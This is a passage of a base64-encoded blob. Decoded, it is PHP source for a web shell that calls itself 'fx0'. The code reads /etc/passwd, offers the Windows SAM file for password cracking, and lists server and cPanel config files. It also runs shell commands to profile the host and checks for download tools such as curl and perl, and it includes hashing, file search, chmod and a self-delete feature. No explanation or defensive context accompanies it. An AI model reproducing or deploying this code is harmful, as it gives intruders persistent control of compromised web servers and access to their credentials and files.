bmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwibml4cHdkX2VcIiB2YWx1ZT1cIiIuJG5peHB3ZF9lLiJcIj4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9XCJWaWV3XCI+PC9mb3JtPjxicj4iOw0KICAgICAgJGkgPSAkbml4cHdkX3M7DQogICAgICB3aGlsZSAoJGkgPCAkbml4cHdkX2UpIHsNCiAgICAgICAgJHVpZCA9IHBvc2l4X2dldHB3dWlkKCRpKTsNCiAgICAgICAgaWYgKCR1aWQpIHsNCiAgICAgICAgICAkdWlkWyJkaXIiXSA9ICI8YSBocmVmPVwiIi4kc3VybC4ieD1scyZkPSIudXJsZW5jb2RlKCR1aWRbImRpciJdKS4iXCI+Ii4kdWlkWyJkaXIiXS4iPC9hPiI7DQogICAgICAgICAgZWNobyBqb2luKCI6IiwkdWlkKS4iPGJyPiI7DQogICAgICAgIH0NCiAgICAgICAgJGkrKzsNCiAgICAgIH0NCiAgICB9DQogICAgZWxzZSB7ZWNobyAiPGEgaHJlZj1cIiIuJHN1cmwuIng9c2VjdXJpdHkmbml4cGFzc3dkPTEmZD0iLiR1ZC4iXCI+PGI+PHU+R2V0IC9ldGMvcGFzc3dkPC91PjwvYj48L2E+Ijt9DQogIH0NCiAgZWxzZSB7DQogICAgJHYgPSAkX1NFUlZFUlsiV0lORElSIl0uIlxyZXBhaXJcc2FtIjsNCiAgICBpZiAoZmlsZV9nZXRfY29udGVudHMoJHYpKSB7ZWNobyAiPHRkIGNvbHNwYW49Mj48ZGl2IGNsYXNzPWZ4ZXJybXNnPllvdSBjYW4ndCBjcmFjayBXaW5kb3dzIHBhc3N3b3JkcygiLiR2LiIpPC9kaXY+PC90ZD48L3RyPiI7IH0NCiAgICBlbHNlIHtlY2hvICJZb3UgY2FuIGNyYWNrIFdpbmRvd3MgcGFzc3dvcmRzLiA8YSBocmVmPVwiIi4kc3VybC4ieD1mJmY9c2FtJmQ9Ii4kX1NFUlZFUlsiV0lORElSIl0uIlxccmVwYWlyJmZ0PWRvd25sb2FkXCI+PHU+PGI+RG93bmxvYWQ8L2I+PC91PjwvYT4sIGFuZCB1c2UgbGNwLmNyYWNrKyA/LjwvdGQ+PC90cj4iO30NCiAgfQ0KICBlY2hvICI8L3RkPjwvdHI+IjsNCiAgZWNobyAiPHRyPjx0ZD5Db25maWcgRmlsZXM8L3RkPjx0ZD4iOw0KICBpZiAoISR3aW4pIHsNCiAgICAkdiA9IGFycmF5KA0KICAgICAgICBhcnJheSgiVXNlciBEb21haW5zIiwiL2V0Yy91c2VyZG9tYWlucyIpLA0KICAgICAgICBhcnJheSgiQ3BhbmVsIENvbmZpZyIsIi92YXIvY3BhbmVsL2FjY291bnRpbmcubG9nIiksDQogICAgICAgIGFycmF5KCJBcGFjaGUgQ29uZmlnIiwiL3Vzci9sb2NhbC9hcGFjaGUvY29uZi9odHRwZC5jb25mIiksDQogICAgICAgIGFycmF5KCJBcGFjaGUgQ29uZmlnIiwiL2V0Yy9odHRwZC5jb25mIiksDQogICAgICAgIGFycmF5KCJTeXNsb2cgQ29uZmlnIiwiL2V0Yy9zeXNsb2cuY29uZiIpLA0KICAgICAgICBhcnJheSgiTWVzc2FnZSBvZiBUaGUgRGF5IiwiL2V0Yy9tb3RkIiksDQogICAgICAgIGFycmF5KCJIb3N0cyIsIi9ldGMvaG9zdHMiKQ0KICAgICk7DQogICAgJHNlcCA9ICIvIjsNCiAgfQ0KICBlbHNlIHsNCiAgICAkd2luZGlyID0gJF9TRVJWRVJbIldJTkRJUiJdOw0KICAgICRldGNkaXIgPSAkd2luZGlyIC4gIlxzeXN0ZW0zMlxkcml2ZXJzXGV0Y1xcIjsNCiAgICAkdiA9IGFycmF5KA0KICAgICAgICBhcnJheSgiSG9zdHMiLCRldGNkaXIuImhvc3RzIiksDQogICAgICAgIGFycmF5KCJMb2NhbCBOZXR3b3JrIE1hcCIsJGV0Y2Rpci4ibmV0d29ya3MiKSwNCiAgICAgICAgYXJyYXkoIkxNIEhvc3RzIiwkZXRjZGlyLiJsbWhvc3RzLnNhbSIpLA0KICAgICk7DQogICAgJHNlcCA9ICJcXCI7DQogIH0NCiAgZm9yZWFjaCAoJHYgYXMgJHNlY19hcnIpIHsNCiAgICAkc2VjX2YgPSBzdWJzdHIoc3RycmNocigkc2VjX2FyclsxXSwgJHNlcCksIDEpOw0KICAgICRzZWNfZCA9IHJ0cmltKCRzZWNfYXJyWzFdLCRzZWNfZik7DQogICAgJHNlY19mdWxsID0gJHNlY19kLiRzZWNfZjsNCiAgICAkc2VjX2QgPSBydHJpbSgkc2VjX2QsJHNlcCk7DQogICAgaWYgKGZpbGVfZ2V0X2NvbnRlbnRzKCRzZWNfZnVsbCkpIHsNCiAgICAgIGVjaG8gIiBbIDxhIGhyZWY9XCIiLiRzdXJsLiJ4PWYmZj0kc2VjX2YmZD0iLnVybGVuY29kZSgkc2VjX2QpLiImZnQ9dHh0XCI+PHU+PGI+Ii4kc2VjX2FyclswXS4iPC9iPjwvdT48L2E+IF0gIjsNCiAgICB9DQogIH0NCiAgZWNobyAiPC90ZD48L3RyPiI7DQoNCiAgZnVuY3Rpb24gZGlzcGxheXNlY2luZm8oJG5hbWUsJHZhbHVlKSB7DQogICAgaWYgKCFlbXB0eSgkdmFsdWUpKSB7DQogICAgICBlY2hvICI8dHI+PHRkPiIuJG5hbWUuIjwvdGQ+PHRkPjxwcmU+Ii53b3Jkd3JhcCgkdmFsdWUsMTAwKS4iPC9wcmU+PC90ZD48L3RyPiI7DQogICAgfQ0KICB9DQogIGlmICghJHdpbikgew0KICAgIGRpc3BsYXlzZWNpbmZvKCJPUyBWZXJzaW9uIixteXNoZWxsZXhlYygiY2F0IC9wcm9jL3ZlcnNpb24iKSk7DQogICAgZGlzcGxheXNlY2luZm8oIktlcm5lbCBWZXJzaW9uIixteXNoZWxsZXhlYygic3lzY3RsIC1hIHwgZ3JlcCB2ZXJzaW9uIikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJEaXN0cmliIE5hbWUiLG15c2hlbGxleGVjKCJjYXQgL2V0Yy9pc3N1ZS5uZXQiKSk7DQogICAgZGlzcGxheXNlY2luZm8oIkRpc3RyaWIgTmFtZSAoMikiLG15c2hlbGxleGVjKCJjYXQgL2V0Yy8qLXJlYWxpc2UiKSk7DQogICAgZGlzcGxheXNlY2luZm8oIkNQVSBJbmZvIixteXNoZWxsZXhlYygiY2F0IC9wcm9jL2NwdWluZm8iKSk7DQogICAgZGlzcGxheXNlY2luZm8oIlJBTSIsbXlzaGVsbGV4ZWMoImZyZWUgLW0iKSk7DQogICAgZGlzcGxheXNlY2luZm8oIkhERCBTcGFjZSIsbXlzaGVsbGV4ZWMoImRmIC1oIikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJMaXN0IG9mIEF0dHJpYnV0ZXMiLG15c2hlbGxleGVjKCJsc2F0dHIgLWEiKSk7DQogICAgZGlzcGxheXNlY2luZm8oIk1vdW50IE9wdGlvbnMiLG15c2hlbGxleGVjKCJjYXQgL2V0Yy9mc3RhYiIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygiY1VSTCBpbnN0YWxsZWQ/IixteXNoZWxsZXhlYygid2hpY2ggY3VybCIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygibHlueCBpbnN0YWxsZWQ/IixteXNoZWxsZXhlYygid2hpY2ggbHlueCIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygibGlua3MgaW5zdGFsbGVkPyIsbXlzaGVsbGV4ZWMoIndoaWNoIGxpbmtzIikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJmZXRjaCBpbnN0YWxsZWQ/IixteXNoZWxsZXhlYygid2hpY2ggZmV0Y2giKSk7DQogICAgZGlzcGxheXNlY2luZm8oIkdFVCBpbnN0YWxsZWQ/IixteXNoZWxsZXhlYygid2hpY2ggR0VUIikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJwZXJsIGluc3RhbGxlZD8iLG15c2hlbGxleGVjKCJ3aGljaCBwZXJsIikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJXaGVyZSBpcyBBcGFjaGU/IixteXNoZWxsZXhlYygid2hlcmVpcyBhcGFjaGUiKSk7DQogICAgZGlzcGxheXNlY2luZm8oIldoZXJlIGlzIHBlcmw/IixteXNoZWxsZXhlYygid2hlcmVpcyBwZXJsIikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJMb2NhdGUgcHJvZnRwZC5jb25mIixteXNoZWxsZXhlYygibG9jYXRlIHByb2Z0cGQuY29uZiIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygiTG9jYXRlIGh0dHBkLmNvbmYiLG15c2hlbGxleGVjKCJsb2NhdGUgaHR0cGQuY29uZiIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygiTG9jYXRlIG15LmNvbmYiLG15c2hlbGxleGVjKCJsb2NhdGUgbXkuY29uZiIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygiTG9jYXRlIHBzeWJuYy5jb25mIixteXNoZWxsZXhlYygibG9jYXRlIHBzeWJuYy5jb25mIikpOw0KICB9DQogIGVsc2Ugew0KICAgIGRpc3BsYXlzZWNpbmZvKCJPUyBWZXJzaW9uIixteXNoZWxsZXhlYygidmVyIikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJBY2NvdW50IFNldHRpbmdzIixteXNoZWxsZXhlYygibmV0IGFjY291bnRzIikpOw0KICB9DQogIGVjaG8gIjwvdGFibGU+XG4iOw0KfQ0KaWYgKCR4ID09ICJta2ZpbGUiKSB7DQppZiAoJG1rZmlsZSAhPSAkZCkgew0KICBpZiAoZmlsZV9leGlzdHMoJG1rZmlsZSkpIHtlY2hvICI8Yj5NYWtlIEZpbGUgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJG1rZmlsZSkuIlwiPC9iPjogb2JqZWN0IGFscmVhZHkgZXhpc3RzISI7fQ0KICBlbHNlaWYgKCFmb3BlbigkbWtmaWxlLCJ3IikpIHtlY2hvICI8Yj5NYWtlIEZpbGUgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJG1rZmlsZSkuIlwiPC9iPjogYWNjZXNzIGRlbmllZCEiO30NCiAgZWxzZSB7JHggPSAiZiI7ICRkID0gZGlybmFtZSgkbWtmaWxlKTsgaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fSAkZiA9IGJhc2VuYW1lKCRta2ZpbGUpO30NCn0NCmVsc2UgeyR4ID0gJGRzcGFjdCA9ICJscyI7fQ0KfQ0KaWYgKCR4ID09ICJlbmNvZGVyIikgew0KZWNobyAiPHNjcmlwdCBsYW5ndWFnZT1cImphdmFzY3JpcHRcIj5mdW5jdGlvbiBzZXRfZW5jb2Rlcl9pbnB1dCh0ZXh0KSB7ZG9jdW1lbnQuZm9ybXMuZW5jb2Rlci5pbnB1dC52YWx1ZSA9IHRleHQ7fTwvc2NyaXB0PiIuDQogICAgICI8Zm9ybSBuYW1lPVwiZW5jb2RlclwiIGFjdGlvbj1cIiIuJHN1cmwuIlwiIG1ldGhvZD1QT1NUPiIuDQogICAgICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14IHZhbHVlPWVuY29kZXI+Ii4NCiAgICAgIjxjZW50ZXI+PHRhYmxlIGNsYXNzPWNvbnRlbnRzPiIuDQogICAgICI8dHI+PHRkIGNvbHNwYW49NCBjbGFzcz1iYXJoZWFkZXI+LjogRW5jb2RlciA6LjwvdGQ+Ii4NCiAgICAgIjx0cj48dGQgY29sc3Bhbj0yPklucHV0OjwvdGQ+PHRkPjx0ZXh0YXJlYSBuYW1lPVwiZW5jb2Rlcl9pbnB1dFwiIGlkPVwiaW5wdXRcIiBjb2xzPTcwIHJvd3M9NT4iLkBodG1sc3BlY2lhbGNoYXJzKCRlbmNvZGVyX2lucHV0KS4iPC90ZXh0YXJlYT48YnI+Ii4NCiAgICAgIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cImNhbGN1bGF0ZVwiPjwvdGQ+PC90cj4iLg0KICAgICAiPHRyPjx0ZCByb3dzcGFuPTQ+SGFzaGVzOjwvdGQ+IjsNCmZvcmVhY2goYXJyYXkoIm1kNSIsImNyeXB0Iiwic2hhMSIsImNyYzMyIikgYXMgJHYpIHsNCiAgZWNobyAiPHRkPiIuJHYuIjo8L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IHNpemU9NTAgb25Gb2N1cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3V0PVwidGhpcy5zZWxlY3QoKVwiIHZhbHVlPVwiIi4kdigkZW5jb2Rlcl9pbnB1dCkuIlwiIHJlYWRvbmx5PjwvdGQ+PC90cj48dHI+IjsNCn0NCmVjaG8gIjwvdHI+Ii4NCiAgICAgIjx0cj48dGQgcm93c3Bhbj0yPlVybDo8L3RkPiIuDQogICAgICI8dGQ+dXJsZW5jb2RlOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgc2l6ZT0zNSBvbkZvY3VzPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdmVyPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdXQ9XCJ0aGlzLnNlbGVjdCgpXCIgdmFsdWU9XCIiLnVybGVuY29kZSgkZW5jb2Rlcl9pbnB1dCkuIlwiIHJlYWRvbmx5PjwvdGQ+PC90cj4iLg0KICAgICAiPHRyPjx0ZD51cmxkZWNvZGU6PC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycyh1cmxkZWNvZGUoJGVuY29kZXJfaW5wdXQpKS4iXCIgcmVhZG9ubHk+PC90ZD48L3RyPiIuDQogICAgICI8dHI+PHRkIHJvd3NwYW49Mj5CYXNlNjQ6PC90ZD4iLg0KICAgICAiPHRkPmJhc2U2NF9lbmNvZGU6PC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiB2YWx1ZT1cIiIuYmFzZTY0X2VuY29kZSgkZW5jb2Rlcl9pbnB1dCkuIlwiIHJlYWRvbmx5PjwvdGQ+PC90cj4iLg0KICAgICAiPHRyPjx0ZD5iYXNlNjRfZGVjb2RlOjwvdGQ+PHRkPiI7DQppZiAoYmFzZTY0X2VuY29kZShiYXNlNjRfZGVjb2RlKCRlbmNvZGVyX2lucHV0KSkgIT0gJGVuY29kZXJfaW5wdXQpIHtlY2hvICI8aW5wdXQgdHlwZT10ZXh0IHNpemU9MzUgdmFsdWU9XCJGYWlsZWQhXCIgZGlzYWJsZWQgcmVhZG9ubHk+Ijt9DQplbHNlIHsNCiAgJGRlYmFzZTY0ID0gYmFzZTY0X2RlY29kZSgkZW5jb2Rlcl9pbnB1dCk7DQogICRkZWJhc2U2NCA9IHN0cl9yZXBsYWNlKCJcMCIsIlswXSIsJGRlYmFzZTY0KTsNCiAgJGEgPSBleHBsb2RlKCJcclxuIiwkZGViYXNlNjQpOw0KICAkcm93cyA9IGNvdW50KCRhKTsNCiAgJGRlYmFzZTY0ID0gaHRtbHNwZWNpYWxjaGFycygkZGViYXNlNjQpOw0KICBpZiAoJHJvd3MgPT0gMSkgeyBlY2hvICI8aW5wdXQgdHlwZT10ZXh0IHNpemU9MzUgb25Gb2N1cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3V0PVwidGhpcy5zZWxlY3QoKVwiIHZhbHVlPVwiIi4kZGViYXNlNjQuIlwiIGlkPVwiZGViYXNlNjRcIiByZWFkb25seT4iOyB9DQogIGVsc2UgeyAkcm93cysrOyBlY2hvICI8dGV4dGFyZWEgY29scz1cIjQwXCIgcm93cz1cIiIuJHJvd3MuIlwiIG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiBpZD1cImRlYmFzZTY0XCIgcmVhZG9ubHk+Ii4kZGViYXNlNjQuIjwvdGV4dGFyZWE+IjsgfQ0KICBlY2hvICImbmJzcDs8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJzZXRfZW5jb2Rlcl9pbnB1dChkb2N1bWVudC5mb3Jtcy5lbmNvZGVyLmRlYmFzZTY0LnZhbHVlKVwiPltTZW5kIHRvIGlucHV0XTwvYT4iOw0KfQ0KZWNobyAiPC90ZD48L3RyPiIuDQogICAgICI8dHI+PHRkPkJhc2UgY29udmVydGF0aW9uczo8L3RkPjx0ZD5kZWMyaGV4PC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiB2YWx1ZT1cIiI7DQokYyA9IHN0cmxlbigkZW5jb2Rlcl9pbnB1dCk7DQpmb3IoJGk9MDskaTwkYzskaSsrKSB7DQogICRoZXggPSBkZWNoZXgob3JkKCRlbmNvZGVyX2lucHV0WyRpXSkpOw0KICBpZiAoJGVuY29kZXJfaW5wdXRbJGldID09ICImIikge2VjaG8gJGVuY29kZXJfaW5wdXRbJGldO30NCiAgZWxzZWlmICgkZW5jb2Rlcl9pbnB1dFskaV0gIT0gIlxcIikge2VjaG8gIiUiLiRoZXg7fQ0KfQ0KZWNobyAiXCIgcmVhZG9ubHk+PC90ZD48L3RyPjx0cj48dGQ+T25saW5lIG1kNSAsIHNoYTEgLCBteXNxbCBwYXNzd29yZCBjcmFja2VyPHRkPjxhIGhyZWY9XCJodHRwOi8vcGFzc2NyYWNraW5nLmNvbVwiIHRhcmdldD1fYmxhbms+RW50ZXI8L2E+PC90ZD48L3RyPjwvdGFibGU+PC9jZW50ZXI+PC9mb3JtPiI7DQp9DQppZiAoJHggPT0gImZzYnVmZiIpIHsNCiAgJGFycl9jb3B5ID0gJHNlc3NfZGF0YVsiY29weSJdOw0KICAkYXJyX2N1dCA9ICRzZXNzX2RhdGFbImN1dCJdOw0KICAkYXJyID0gYXJyYXlfbWVyZ2UoJGFycl9jb3B5LCRhcnJfY3V0KTsNCiAgaWYgKGNvdW50KCRhcnIpID09IDApIHtlY2hvICI8aDI+PGNlbnRlcj5CdWZmZXIgaXMgZW1wdHkhPC9jZW50ZXI+PC9oMj4iO30NCiAgZWxzZSB7DQogICAgJGZ4X2luZm9oZWFkID0gIkZpbGUtU3lzdGVtIEJ1ZmZlciI7DQogICAgJGxzX2FyciA9ICRhcnI7DQogICAgJGRpc3BfZnVsbHBhdGggPSBUUlVFOw0KICAgICR4ID0gImxzIjsNCiAgfQ0KfQ0KaWYgKCR4ID09ICJzZWxmcmVtb3ZlIikgew0KICBpZiAoKCRzdWJtaXQgPT0gJHJuZGNvZGUpIGFuZCAoJHN1Ym1pdCAhPSAiIikpIHsNCiAgICBpZiAodW5saW5rKF9fRklMRV9fKSkge0BvYl9jbGVhbigpOyBlY2hvICJUaGFua3MgZm9yIHVzaW5nIGZ4MCEiOyBjYXByaXY4ZXhpdCgpOyB9DQogICAgZWxzZSB7ZWNobyAiPGNlbnRlcj48Yj5DYW4ndCBkZWxldGUgIi5fX0ZJTEVfXy4iITwvYj48L2NlbnRlcj4iO30NCiAgfQ0KICBlbHNlIHsNCiAgICBpZiAoIWVtcHR5KCRybmRjb2RlKSkge2VjaG8gIjxiPkVycm9yOiBpbmNvcnJlY3QgY29uZmlybWF0aW9uITwvYj4iO30NCiAgICAkcm5kID0gcmFuZCgwLDkpLnJhbmQoMCw5KS5yYW5kKDAsOSk7DQogICAgZWNobyAiPGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9eCB2YWx1ZT1zZWxmcmVtb3ZlPjxiPlNlbGYtcmVtb3ZlOiAiLl9fRklMRV9fLiIgPGJyPjxiPkFyZSB5b3Ugc3VyZT88YnI+Rm9yIGNvbmZpcm1hdGlvbiwgZW50ZXIgXCIiLiRybmQuIlwiPC9iPjombmJzcDs8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1ybmRjb2RlIHZhbHVlPVwiIi4kcm5kLiJcIj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3VibWl0PiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIllFU1wiPjwvZm9ybT4iOw0KICB9DQp9DQoNCg0KDQo/Pg0KDQo8Pw0KDQoNCg0KDQoNCg0KDQppZiAoJHggPT0gInNlYXJjaCIpIHsNCiAgZWNobyAiPGRpdiBjbGFzcz1iYXJoZWFkZXI+LjogRmlsZS1TeXN0ZW0gU2VhcmNoIDouPC9kaXY+IjsNCiAgaWYgKGVtcHR5KCRzZWFyY2hfaW4pKSB7JHNlYXJjaF9pbiA9ICRkO30NCiAgaWYgKGVtcHR5KCRzZWFyY2hfbmFtZSkpIHskc2VhcmNoX25hbWUgPSAiKC4qKSI7ICRzZWFyY2hfbmFtZV9yZWdleHAgPSAxO30NCiAgaWYgKGVtcHR5KCRzZWFyY2hfdGV4dF93d28pKSB7JHNlYXJjaF90ZXh0X3JlZ2V4cCA9IDA7fQ0KICBpZiAoIWVtcHR5KCRzdWJtaXQpKSB7DQogICAgJGZvdW5kID0gYXJyYXkoKTsNCiAgICAkZm91bmRfZCA9IDA7DQogICAgJGZvdW5kX2YgPSAwOw0KICAgICRzZWFyY2hfaV9mID0gMDsNCiAgICAkc2VhcmNoX2lfZCA9IDA7DQogICAgJGEgPSBhcnJheSgNCiAgICAgICAgIm5hbWUiPT4kc2VhcmNoX25hbWUsDQogICAgICAgICJuYW1lX3JlZ2V4cCI9PiRzZWFyY2hfbmFtZV9yZWdleHAsDQogICAgICAgICJ0ZXh0Ij0+JHNlYXJjaF90ZXh0LA0KICAgICAgICAidGV4dF9yZWdleHAiPT4kc2VhcmNoX3RleHRfcmVneHAsDQogICAgICAgICJ0ZXh0X3d3byI9PiRzZWFyY2hfdGV4dF93d28sDQogICAgICAgICJ0ZXh0X2NzIj0+JHNlYXJjaF90ZXh0X2NzLA0KICAgICAgICAidGV4dF9ub3QiPT4kc2VhcmNoX3RleHRfbm90DQogICAgKTsNCiAgICAkc2VhcmNodGltZSA9IGdldG1pY3JvdGltZSgpOw0KICAgICRpbiA9IGFycmF5X3VuaXF1ZShleHBsb2RlKCI7Iiwkc2VhcmNoX2luKSk7DQogICAgZm9yZWFjaCgkaW4gYXMgJHYpIHtjYWZzZWFyY2goJHYpO30NCiAgICAkc2VhcmNodGltZSA9IHJvdW5kKGdldG1pY3JvdGltZSgpLSRzZWFyY2h0aW1lLDQpOw0KICAgIGlmIChjb3VudCgkZm91bmQpID09IDApIHtlY2hvICJObyBmaWxlcyBmb3VuZCEiO30NCiAgICBlbHNlIHsNCiAgICAgICRsc19hcnIgPSAkZm91bmQ7DQogICAgICAkZGlzcF9mdWxscGF0aCA9IFRSVUU7DQogICAgICAkeCA9ICJscyI7DQogICAgfQ0KICB9DQogIGVjaG8gIjx0YWJsZSBjbGFzcz1jb250ZW50cz4iLg0KICAgICAgICI8dHI+PHRkPjxmb3JtIG1ldGhvZD1QT1NUPiIuDQogICAgICAgIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPVwiZFwiIHZhbHVlPVwiIi4kZGlzcGQuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXggdmFsdWU9XCIiLiRkc3BhY3QuIlwiPiIuDQogICAgICAgIkZpbGUgb3IgZm9sZGVyIE5hbWU6PC90ZD48dGQ+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNlYXJjaF9uYW1lXCIgc2l6ZT1cIiIucm91bmQoc3RybGVuKCRzZWFyY2hfbmFtZSkrMjUpLiJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc2VhcmNoX25hbWUpLiJcIj4mbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNlYXJjaF9uYW1lX3JlZ2V4cFwiIHZhbHVlPVwiMVwiICIuKCRzZWFyY2hfbmFtZV9yZWdleHAgPT0gMT8iIGNoZWNrZWQiOiIiKS4iPiAtIFJlZ3VsYXIgRXhwcmVzc2lvbjwvdGQ+PC90cj4iLg0KICAgICAgICI8dHI+PHRkPkxvb2sgaW4gKFNlcGFyYXRlIGJ5IFwiO1wiKTo8L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic2VhcmNoX2luXCIgc2l6ZT1cIiIucm91bmQoc3RybGVuKCRzZWFyY2hfaW4pKzI1KS4iXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNlYXJjaF9pbikuIlwiPjwvdGQ+PC90cj4iLg0KICAgICAgICI8dHI+PHRkPkEgd29yZCBvciBwaHJhc2UgaW4gdGhlIGZpbGU6PC90ZD48dGQ+PHRleHRhcmVhIG5hbWU9XCJzZWFyY2hfdGV4dFwiIGNvbHM9XCI1MFwiIHJvd3M9XCI1XCI+Ii5odG1sc3BlY2lhbGNoYXJzKCRzZWFyY2hfdGV4dCkuIjwvdGV4dGFyZWE+PC90ZD48L3RyPiIuDQogICAgICAgIjx0cj48dGQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzZWFyY2hfdGV4dF9yZWdleHBcIiB2YWx1ZT1cIjFcIiAiLigkc2VhcmNoX3RleHRfcmVnZXhwID09IDE/IiBjaGVja2VkIjoiIikuIj4gUmVndWxhciBFeHByZXNzaW9uIi4NCiAgICAgICAiICA8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNlYXJjaF90ZXh0X3d3b1wiIHZhbHVlPVwiMVwiICIuKCRzZWFyY2hfdGV4dF93d28gPT0gMT8iIGNoZWNrZWQiOiIiKS4iPiBXaG9sZSB3b3JkcyBvbmx5Ii4NCiAgICAgICAiICA8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNlYXJjaF90ZXh0X2NzXCIgdmFsdWU9XCIxXCIgIi4oJHNlYXJjaF90ZXh0X2NzID09IDE/IiBjaGVja2VkIjoiIikuIj4gQ2FzZSBzZW5zaXRpdmUiLg0KICAgICAgICIgIDxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic2VhcmNoX3RleHRfbm90XCIgdmFsdWU9XCIxXCIgIi4oJHNlYXJjaF90ZXh0X25vdCA9PSAxPyIgY2hlY2tlZCI6IiIpLiI+IEZpbmQgZmlsZXMgTk9UIGNvbnRhaW5pbmcgdGhlIHRleHQ8L3RkPjwvdHI+Ii4NCiAgICAgICAiPHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9XCJTZWFyY2hcIj48L2Zvcm0+PC90ZD48L3RyPiIuDQogICAgICAgIjwvdGFibGU+IjsNCiAgaWYgKCR4ID09ICJscyIpIHsNCiAgICAkZHNwYWN0ID0gJHg7DQogICAgZWNobyAiU2VhcmNoIHRvb2sgIi4kc2VhcmNodGltZS4iIHNlY3MgKCIuJHNlYXJjaF9pX2YuIiBmaWxlcyBhbmQgIi4kc2VhcmNoX2lfZC4iIGZvbGRlcnMsICIucm91bmQoKCRzZWFyY2hfaV9mKyRzZWFyY2hfaV9kKS8kc2VhcmNodGltZSw0KS4iIG9iamVjdHMgcGVyIHNlY29uZCkuPC9iPiIuDQogICAgICAgICAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iOw0KICB9DQp9DQppZiAoJHggPT0gImNobW9kIikgew0KICAkbW9kZSA9IGZpbGVwZXJtcygkZC4kZik7DQogIGlmICghJG1vZGUpIHtlY2hvICI8Yj5DaGFuZ2UgZmlsZS1tb2RlIHdpdGggZXJyb3I6PC9iPiBjYW4ndCBnZXQgY3VycmVudCB2YWx1ZS4iO30NCiAgZWxzZSB7DQogICAgJGZvcm0gPSBUUlVFOw0KICAgIGlmICgkY2htb2Rfc3VibWl0KQ0KICB7DQogICAkb2N0ZXQgPSAiMCIuYmFzZV9jb252ZXJ0KCgkY2htb2Rfb1siciJdPzE6MCkuKCRjaG1vZF9vWyJ3Il0/MTowKS4oJGNobW9kX29bIngiXT8xOjApLigkY2htb2RfZ1siciJdPzE6MCkuKCRjaG1vZF9nWyJ3Il0/MTowKS4oJGNobW9kX2dbIngiXT8xOjApLigkY2htb2Rfd1siciJdPzE6MCkuKCRjaG1vZF93WyJ3Il0/MTowKS4oJGNobW9kX3dbIngiXT8xOjApLDIsOCk7DQogICBpZiAoY2htb2QoJGQuJGYsJG9jdGV0KSkgeyR4ID0gImxzIjsgJGZvcm0gPSBGQUxTRTsgJGVyciA9ICIiO30NCiAgIGVsc2UgeyRlcnIgPSAi